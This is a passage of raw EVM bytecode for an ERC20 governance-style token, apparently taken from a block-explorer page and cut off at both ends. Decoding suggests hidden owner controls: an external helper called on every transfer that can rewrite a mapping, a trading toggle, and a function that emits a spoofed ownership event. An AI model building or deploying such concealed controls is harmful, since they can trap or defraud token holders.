0910390fd5b6118c9838383611c94565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461199a919061266d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119fe9190612293565b60405180910390a350505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a4757505f81115b15611c8f575f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b6d575f600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900463ffffffff1690505f808263ffffffff1611611ae3575f611b4c565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600184611b2e919061272e565b63ffffffff1663ffffffff1681526020019081526020015f20600101545b90505f8382611b5b9190612b16565b9050611b6986848484611d25565b5050505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c8e575f600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900463ffffffff1690505f808263ffffffff1611611c04575f611c6d565b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600184611c4f919061272e565b63ffffffff1663ffffffff1681526020019081526020015f20600101545b90505f8382611c7c9190612b16565b9050611c8a85848484611d25565b5050505b5b505050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28484846040518463ffffffff1660e01b8152600401611cf39392919061257d565b5f604051808303815f87803b158015611d0a575f80fd5b505af1158015611d1c573d5f803e3d5ffd5b50505050505050565b5f611d48436040518060600160405280602e8152602001612e34602e9139612012565b90505f8463ffffffff16118015611ddf57508063ffffffff1660095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600187611dac919061272e565b63ffffffff1663ffffffff1681526020019081526020015f205f015f9054906101000a900463ffffffff1663ffffffff16145b15611e55578160095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600187611e30919061272e565b63ffffffff1663ffffffff1681526020019081526020015f2060010181905550611fbb565b60405180604001604052808263ffffffff1681526020018381525060095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8663ffffffff1663ffffffff1681526020019081526020015f205f820151815f015f6101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff16600185611f0d9190612b49565b63ffffffff1611611f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4a90612bf0565b60405180910390fd5b600184611f609190612b49565b600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612003929190612c0e565b60405180910390a25050505050565b5f6401000000008310829061205d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205491906120fe565b60405180910390fd5b5082905092915050565b6101fe80612c3683390190565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156120ab578082015181840152602081019050612090565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6120d082612074565b6120da818561207e565b93506120ea81856020860161208e565b6120f3816120b6565b840191505092915050565b5f6020820190508181035f83015261211681846120c6565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61214b82612122565b9050919050565b61215b81612141565b8114612165575f80fd5b50565b5f8135905061217681612152565b92915050565b5f819050919050565b61218e8161217c565b8114612198575f80fd5b50565b5f813590506121a981612185565b92915050565b5f80604083850312156121c5576121c461211e565b5b5f6121d285828601612168565b92505060206121e38582860161219b565b9150509250929050565b5f8115159050919050565b612201816121ed565b82525050565b5f60208201905061221a5f8301846121f8565b92915050565b5f805f80608085870312156122385761223761211e565b5b5f61224587828801612168565b945050602061225687828801612168565b93505060406122678782880161219b565b925050606061227887828801612168565b91505092959194509250565b61228d8161217c565b82525050565b5f6020820190506122a65f830184612284565b92915050565b5f819050919050565b6122be816122ac565b82525050565b5f6020820190506122d75f8301846122b5565b92915050565b5f805f606084860312156122f4576122f361211e565b5b5f61230186828701612168565b935050602061231286828701612168565b92505060406123238682870161219b565b9150509250925092565b5f60ff82169050919050565b6123428161232d565b82525050565b5f60208201905061235b5f830184612339565b92915050565b5f602082840312156123765761237561211e565b5b5f61238384828501612168565b91505092915050565b5f63ffffffff82169050919050565b6123a48161238c565b82525050565b5f6020820190506123bd5f83018461239b565b92915050565b6123cc81612141565b82525050565b5f6020820190506123e55f8301846123c3565b92915050565b5f80604083850312156124015761240061211e565b5b5f61240e85828601612168565b925050602061241f85828601612168565b9150509250929050565b6124328161238c565b811461243c575f80fd5b50565b5f8135905061244d81612429565b92915050565b5f80604083850312156124695761246861211e565b5b5f61247685828601612168565b92505060206124878582860161243f565b9150509250929050565b5f6040820190506124a45f83018561239b565b6124b16020830184612284565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806124fc57607f821691505b60208210810361250f5761250e6124b8565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61254960208361207e565b915061255482612515565b602082019050919050565b5f6020820190508181035f8301526125768161253d565b9050919050565b5f6060820190506125905f8301866123c3565b61259d60208301856123c3565b6125aa6040830184612284565b949350505050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61260c60288361207e565b9150612617826125b2565b604082019050919050565b5f6020820190508181035f83015261263981612600565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6126778261217c565b91506126828361217c565b925082820190508082111561269a57612699612640565b5b92915050565b7f6765745072696f72566f7465733a206e6f74207965742064657465726d696e655f8201527f6400000000000000000000000000000000000000000000000000000000000000602082015250565b5f6126fa60218361207e565b9150612705826126a0565b604082019050919050565b5f6020820190508181035f830152612727816126ee565b9050919050565b5f6127388261238c565b91506127438361238c565b9250828203905063ffffffff81111561275f5761275e612640565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61279c8261238c565b91506127a78361238c565b9250826127b7576127b6612765565b5b828204905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61281c60258361207e565b9150612827826127c2565b604082019050919050565b5f6020820190508181035f83015261284981612810565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6128aa60268361207e565b91506128b582612850565b604082019050919050565b5f6020820190508181035f8301526128d78161289e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61293860248361207e565b9150612943826128de565b604082019050919050565b5f6020820190508181035f8301526129658161292c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6129c660228361207e565b91506129d18261296c565b604082019050919050565b5f6020820190508181035f8301526129f3816129ba565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a5460258361207e565b9150612a5f826129fa565b604082019050919050565b5f6020820190508181035f830152612a8181612a48565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612ae260238361207e565b9150612aed82612a88565b604082019050919050565b5f6020820190508181035f830152612b0f81612ad6565b9050919050565b5f612b208261217c565b9150612b2b8361217c565b9250828203905081811115612b4357612b42612640565b5b92915050565b5f612b538261238c565b9150612b5e8361238c565b9250828201905063ffffffff811115612b7a57612b79612640565b5b92915050565b7f5f7772697465436865636b706f696e743a206e657720636865636b706f696e745f8201527f2065786365656473203332206269747300000000000000000000000000000000602082015250565b5f612bda60308361207e565b9150612be582612b80565b604082019050919050565b5f6020820190508181035f830152612c0781612bce565b9050919050565b5f604082019050612c215f830185612284565b612c2e6020830184612284565b939250505056fe608060405234801561000f575f80fd5b506101e18061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80636bf92ea21461002d575b5f80fd5b6100476004803603810190610042919061015b565b610049565b005b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100f7826100ce565b9050919050565b610107816100ed565b8114610111575f80fd5b50565b5f81359050610122816100fe565b92915050565b5f819050919050565b61013a81610128565b8114610144575f80fd5b50565b5f8135905061015581610131565b92915050565b5f805f60608486031215610172576101716100ca565b5b5f61017f86828701610114565b935050602061019086828701610114565b92505060406101a186828701610147565b915050925092509256fea2646970667358221220f5f0663f3f54f3082b9f25b3543a009ee806b9ecf211799a2e82213942e8956164736f6c634300081500335f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a26469706673582212204279fac9f847218b41652a2205b147efdb1eef0d4b4731c875a941404cc94d5a64736f6c63430008150033608060405234801561000f575f80fd5b506101e18061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80636bf92ea21461002d575b5f80fd5b6100476004803603810190610042919061015b565b610049565b005b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100f7826100ce565b9050919050565b610107816100ed565b8114610111575f80fd5b50565b5f81359050610122816100fe565b92915050565b5f819050919050565b61013a81610128565b8114610144575f80fd5b50565b5f8135905061015581610131565b92915050565b5f805f60608486031215610172576101716100ca565b5b5f61017f86828701610114565b935050602061019086828701610114565b92505060406101a186828701610147565b915050925092509256fea2646970667358221220f5f0663f3f54f3082b9f25b3543a009ee806b9ecf211799a2e82213942e8956164736f6c63430008150033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610171575f3560e01c8063782d6fe1116100dc578063a457c2d711610095578063dd62ed3e1161006f578063dd62ed3e14610473578063e7a324dc146104a3578063f1127ed8146104c1578063f2fde38b146104f257610171565b8063a457c2d7146103f7578063a9059cbb14610427578063b792d03f1461045757610171565b8063782d6fe1146103215780637ecebe00146103515780638a8c523c146103815780638da5cb5b1461038b57806395d89b41146103a95780639ab24eb0146103c757610171565b8063313ce5671161012e578063313ce5671461024b57806339509351146102695780634ada218b146102995780636fcfff45146102b757806370a08231146102e7578063715018a61461031757610171565b806306fdde0314610175578063095ea7b314610193578063120aa4d9146101c357806318160ddd146101df57806320606b70146101fd57806323b872dd1461021b575b5f80fd5b61017d61050e565b60405161018a91906120fe565b60405180910390f35b6101ad60048036038101906101a891906121af565b61059e565b6040516101ba9190612207565b60405180910390f35b6101dd60048036038101906101d89190612220565b6105bb565b005b6101e7610761565b6040516101f49190612293565b60405180910390f35b61020561076a565b60405161021291906122c4565b60405180910390f35b610235600480360381019061023091906122dd565b61078e565b6040516102429190612207565b60405180910390f35b610253610880565b6040516102609190612348565b60405180910390f35b610283600480360381019061027e91906121af565b610895565b6040516102909190612207565b60405180910390f35b6102a161093c565b6040516102ae9190612207565b60405180910390f35b6102d160048036038101906102cc9190612361565b61094e565b6040516102de91906123aa565b60405180910390f35b61030160048036038101906102fc9190612361565b61096e565b60405161030e9190612293565b60405180910390f35b61031f6109b4565b005b61033b600480360381019061033691906121af565b610aea565b6040516103489190612293565b60405180910390f35b61036b60048036038101906103669190612361565b610e98565b6040516103789190612293565b60405180910390f35b610389610ead565b005b610393610f53565b6040516103a091906123d2565b60405180910390f35b6103b1610f7a565b6040516103be91906120fe565b60405180910390f35b6103e160048036038101906103dc9190612361565b61100a565b6040516103ee9190612293565b60405180910390f35b610411600480360381019061040c91906121af565b6110df565b60405161041e9190612207565b60405180910390f35b610441600480360381019061043c91906121af565b6111c5565b60405161044e9190612207565b60405180910390f35b610471600480360381019061046c9190612361565b6111e2565b005b61048d600480360381019061048891906123eb565b611259565b60405161049a9190612293565b60405180910390f35b6104ab6112db565b6040516104b891906122c4565b60405180910390f35b6104db60048036038101906104d69190612453565b6112ff565b6040516104e9929190612491565b60405180910390f35b61050c60048036038101906105079190612361565b611339565b005b60606005805461051d906124e5565b80601f0160208091040260200160405190810160405280929190818152602001828054610549906124e5565b80156105945780601f1061056b57610100808354040283529160200191610594565b820191905f5260205f20905b81548152906001019060200180831161057757829003601f168201915b5050505050905090565b5f6105b16105aa6114de565b84846114e5565b6001905092915050565b6105c36114de565b73ffffffffffffffffffffffffffffffffffffffff166105e1610f53565b73ffffffffffffffffffffffffffffffffffffffff1614610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e9061255f565b60405180910390fd5b6001151560035f9054906101000a900460ff1615150361075b575f82111561066757610662816116a8565b6106ce565b60405161067390612067565b604051809103905ff08015801561068c573d5f803e3d5ffd5b50600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28585856040518463ffffffff1660e01b815260040161072d9392919061257d565b5f604051808303815f87803b158015610744575f80fd5b505af1158015610756573d5f803e3d5ffd5b505050505b50505050565b5f600454905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b5f61079a8484846116fa565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107e16114de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610860576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085790612622565b60405180910390fd5b6108748561086c6114de565b8584036114e5565b60019150509392505050565b5f60075f9054906101000a900460ff16905090565b5f6109326108a16114de565b848460025f6108ae6114de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461092d919061266d565b6114e5565b6001905092915050565b60035f9054906101000a900460ff1681565b600a602052805f5260405f205f915054906101000a900463ffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109bc6114de565b73ffffffffffffffffffffffffffffffffffffffff166109da610f53565b73ffffffffffffffffffffffffffffffffffffffff1614610a30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a279061255f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f438210610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2490612710565b60405180910390fd5b5f600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900463ffffffff1690505f8163ffffffff1603610b93575f915050610e92565b8260095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600184610bdf919061272e565b63ffffffff1663ffffffff1681526020019081526020015f205f015f9054906101000a900463ffffffff1663ffffffff1611610c855760095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600183610c60919061272e565b63ffffffff1663ffffffff1681526020019081526020015f2060010154915050610e92565b8260095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8063ffffffff1681526020019081526020015f205f015f9054906101000a900463ffffffff1663ffffffff161115610cff575f915050610e92565b5f80600183610d0e919061272e565b90505b8163ffffffff168163ffffffff161115610e30575f60028383610d34919061272e565b610d3e9190612792565b82610d49919061272e565b90505f60095f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8363ffffffff1663ffffffff1681526020019081526020015f206040518060400160405290815f82015f9054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086815f015163ffffffff1603610e0057806020015195505050505050610e92565b86815f015163ffffffff161015610e1957819350610e29565b600182610e26919061272e565b92505b5050610d11565b60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8363ffffffff1663ffffffff1681526020019081526020015f206001015493505050505b92915050565b600b602052805f5260405f205f915090505481565b610eb56114de565b73ffffffffffffffffffffffffffffffffffffffff16610ed3610f53565b73ffffffffffffffffffffffffffffffffffffffff1614610f29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f209061255f565b60405180910390fd5b60035f9054906101000a900460ff161560035f6101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610f89906124e5565b80601f0160208091040260200160405190810160405280929190818152602001828054610fb5906124e5565b80156110005780601f10610fd757610100808354040283529160200191611000565b820191905f5260205f20905b815481529060010190602001808311610fe357829003601f168201915b5050505050905090565b5f80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900463ffffffff1690505f8163ffffffff161161106e575f6110d7565b60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6001836110b9919061272e565b63ffffffff1663ffffffff1681526020019081526020015f20600101545b915050919050565b5f8060025f6110ec6114de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612832565b60405180910390fd5b6111ba6111b16114de565b858584036114e5565b600191505092915050565b5f6111d86111d16114de565b84846116fa565b6001905092915050565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360015f60146101000a81548160ff02191690831515021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6009602052815f5260405f20602052805f5260405f205f9150915050805f015f9054906101000a900463ffffffff16908060010154905082565b6113416114de565b73ffffffffffffffffffffffffffffffffffffffff1661135f610f53565b73ffffffffffffffffffffffffffffffffffffffff16146113b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ac9061255f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611423576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141a906128c0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a9061294e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b8906129dc565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161169b9190612293565b60405180910390a3505050565b6116b06117cd565b156116f75780600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6117058383836117e2565b6117c860085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611a0c565b505050565b5f8060149054906101000a900460ff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184790612a6a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b590612af8565b60405180910390fd5b6118c9838383611c94565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461199a919061266d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119fe9190612293565b60405180910390a350505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a4757505f81115b15611c8f575f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b6d575f600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900463ffffffff1690505f808263ffffffff1611611ae3575f611b4c565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600184611b2e919061272e565b63ffffffff1663ffffffff1681526020019081526020015f20600101545b90505f8382611b5b9190612b16565b9050611b6986848484611d25565b5050505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c8e575f600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900463ffffffff1690505f808263ffffffff1611611c04575f611c6d565b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600184611c4f919061272e565b63ffffffff1663ffffffff1681526020019081526020015f20600101545b90505f8382611c7c9190612b16565b9050611c8a85848484611d25565b5050505b5b505050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28484846040518463ffffffff1660e01b8152600401611cf39392919061257d565b5f604051808303815f87803b158015611d0a575f80fd5b505af1158015611d1c573d5f803e3d5ffd5b50505050505050565b5f611d48436040518060600160405280602e8152602001612e34602e9139612012565b90505f8463ffffffff16118015611ddf57508063ffffffff1660095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600187611dac919061272e565b63ffffffff1663ffffffff1681526020019081526020015f205f015f9054906101000a900463ffffffff1663ffffffff16145b15611e55578160095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600187611e30919061272e565b63ffffffff1663ffffffff1681526020019081526020015f2060010181905550611fbb565b60405180604001604052808263ffffffff1681526020018381525060095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8663ffffffff1663ffffffff1681526020019081526020015f205f820151815f015f6101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff16600185611f0d9190612b49565b63ffffffff1611611f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4a90612bf0565b60405180910390fd5b600184611f609190612b49565b600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612003929190612c0e565b60405180910390a25050505050565b5f6401000000008310829061205d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205491906120fe565b60405180910390fd5b5082905092915050565b6101fe80612c3683390190565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156120ab578082015181840152602081019050612090565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6120d082612074565b6120da818561207e565b93506120ea81856020860161208e565b6120f3816120b6565b840191505092915050565b5f6020820190508181035f83015261211681846120c6565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61214b82612122565b9050919050565b61215b81612141565b8114612165575f80fd5b50565b5f8135905061217681612152565b92915050565b5f819050919050565b61218e8161217c565b8114612198575f80fd5b50565b5f813590506121a981612185565b92915050565b5f80604083850312156121c5576121c461211e565b5b5f6121d285828601612168565b92505060206121e38582860161219b565b9150509250929050565b5f8115159050919050565b612201816121ed565b82525050565b5f60208201905061221a5f8301846121f8565b92915050565b5f805f80608085870312156122385761223761211e565b5b5f61224587828801612168565b945050602061225687828801612168565b93505060406122678782880161219b565b925050606061227887828801612168565b91505092959194509250565b61228d8161217c565b82525050565b5f6020820190506122a65f830184612284565b92915050565b5f819050919050565b6122be816122ac565b82525050565b5f6020820190506122d75f8301846122b5565b92915050565b5f805f606084860312156122f4576122f361211e565b5b5f61230186828701612168565b935050602061231286828701612168565b92505060406123238682870161219b565b9150509250925092565b5f60ff82169050919050565b6123428161232d565b82525050565b5f60208201905061235b5f830184612339565b92915050565b5f602082840312156123765761237561211e565b5b5f61238384828501612168565b91505092915050565b5f63ffffffff82169050919050565b6123a48161238c565b82525050565b5f6020820190506123bd5f83018461239b565b92915050565b6123cc81612141565b82525050565b5f6020820190506123e55f8301846123c3565b92915050565b5f80604083850312156124015761240061211e565b5b5f61240e85828601612168565b925050602061241f85828601612168565b9150509250929050565b6124328161238c565b811461243c575f80fd5b50565b5f8135905061244d81612429565b92915050565b5f80604083850312156124695761246861211e565b5b5f61247685828601612168565b92505060206124878582860161243f565b9150509250929050565b5f6040820190506124a45f83018561239b565b6124b16020830184612284565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806124fc57607f821691505b60208210810361250f5761250e6124b8565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61254960208361207e565b915061255482612515565b602082019050919050565b5f6020820190508181035f8301526125768161253d565b9050919050565b5f6060820190506125905f8301866123c3565b61259d60208301856123c3565b6125aa6040830184612284565b949350505050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61260c60288361207e565b9150612617826125b2565b604082019050919050565b5f6020820190508181035f83015261263981612600565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6126778261217c565b91506126828361217c565b925082820190508082111561269a57612699612640565b5b92915050565b7f6765745072696f72566f7465733a206e6f74207965742064657465726d696e655f8201527f6400000000000000000000000000000000000000000000000000000000000000602082015250565b5f6126fa60218361207e565b9150612705826126a0565b604082019050919050565b5f6020820190508181035f830152612727816126ee565b9050